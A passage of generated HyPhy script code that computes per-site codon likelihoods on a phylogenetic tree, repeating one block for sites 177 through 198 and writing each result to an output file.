optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"176\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 177...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"528,529,530\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 177\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"177\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 178...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"531,532,533\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 178\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"178\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 179...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"534,535,536\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 179\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"179\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 180...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"537,538,539\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 180\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"180\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 181...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"540,541,542\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 181\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"181\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 182...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"543,544,545\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 182\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"182\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 183...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"546,547,548\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 183\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"183\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 184...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"549,550,551\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 184\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"184\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 185...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"552,553,554\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 185\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"185\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 186...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"555,556,557\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 186\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"186\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 187...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"558,559,560\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 187\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"187\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 188...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"561,562,563\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 188\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"188\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 189...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"564,565,566\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 189\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"189\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 190...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"567,568,569\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 190\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"190\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 191...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"570,571,572\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 191\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"191\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 192...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"573,574,575\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 192\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"192\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 193...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"576,577,578\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 193\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"193\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 194...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"579,580,581\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 194\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"194\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 195...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"582,583,584\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 195\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"195\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 196...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"585,586,587\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 196\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"196\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 197...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"588,589,590\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 197\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"197\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 198...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"591,592,593\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 198\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = 